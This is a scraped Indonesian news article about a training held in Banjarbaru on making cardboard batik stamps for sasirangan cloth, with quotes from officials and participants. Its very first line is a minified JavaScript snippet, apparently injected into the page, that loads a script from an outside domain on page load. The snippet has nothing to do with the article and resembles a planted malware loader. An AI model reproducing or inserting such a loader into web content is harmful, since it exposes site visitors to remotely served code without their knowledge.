(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARBARU – Balai Riset dan Standardisasi (Baristand) Industri Banjarbaru menggelar kegiatan konsultasi teknologi industri batik sasirangan, Kamis dan Jumat (19-20/8/2021).
Pelatihan diikuti KUB Radita Sasirangan Jimpitan sebagai bagian dari program dana kemitraan peningkatan teknologi industri (Dapati) tahun 2021.
Narasumber kegiatan pelatihan nini adalah Edi Eskak dari Balai Besar Kerajinan dan Batik, Kementerian Perindustrian RI.
“Canting cap batik dari kertas karton ini dapat dibuat dengan teknik yang mudah dan murah, serta memanfaatkan bahan dan alat yang ada di sekitar kita,” ujar Edi Eskak.
Baca juga: PPKM Level 4 Banjarbaru hingga 6 September, Wali Kota Aditya: Semoga Ini yang Terakhir!
Dijelaskan Edi Eskak, canting cap batik dari kertas karton mempunyai sifat tahan panas dan apabila dicelup dalam malam akan memperkuat ketahanan cap batik kertas karton.
“Cap batik kertas sasirangan dapat dipakai sebanyak 50-100 kali. Keuntungan menggunakan cap batik sasirangan dari kertas karton adalah dapat berkreasi menciptakan berbagai motif dengan mudah,” jelasnya.
Kepala Bidang Perindustrian Dinas Tenaga Kerja dan Perindustrian (Disnakerind) Kabupaten Tanah Laut, Nurmaya Safitri mengatakan, kegiatan ini mendukung pengembangan dan kemajuan batik sasirangan (bataringan) sebagai salah satu produk unggulan dari Kabupaten Tanah Laut.
Sementara itu, Kepala Balai Riset dan Standardisasi Industri Banjarbaru, Budi Setiawan saat membuka secara resmi kegiatan konsultansi teknologi industri industri batik cap sasirangan mengatakan, kegiatan ini merupakan tugas pokok dan fungsi Baristand dalam melaksanakan konsultansi teknologi industri terutama untuk wilayah Kalimantan Selatan.
Kegiatan berjalan selama dua hari, pada hari pertama peserta diberikan materi pelatihan pembuatan canting cap batik dari kertas karton, serta praktek pembuatannya.
Kemudian memasuki hari kedua pelatihan dilanjutkan dengan praktek pengecapan sekaligus pewarnaan yang dipandu langsung oleh narasumber.
Pada saat penutupan pelatihan, narasumber mengevaluasi hasil praktek pembuatan kain batik dengan canting cap batik dari karton para peserta.
Riyadi dari KUB (Kelompok Usaha Bersama) Radita Sasirangan mengatakan bahwa pelatihan ini sangat bermanfaat bagi industri bataringan.
Baca juga: Dampak PPKM, Kunjungan ke Pasar Tradisional Kalsel Turun hingga 40 Persen!
“Pelatihan selama dua hari ini sangat memuaskan, karena peserta dapat praktek langsung. Meskipun waktu terbatas, akan tetapi hasil pelatihan dapat menambah keterampilan peserta. Harapannya ke depan dapat meningkatkan produksi bataringan,” ujar Riyadi.
Output yang diharapkan dari adanya kegiatan ini adalah adanya peningkatan produksi batik cap sasirangan (bataringan) yang merupakan produk unggulan daerah. Dampak lainnya adalah kemajuan dan pertumbuhan ekonomi di Kalimantan Selatan. (kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.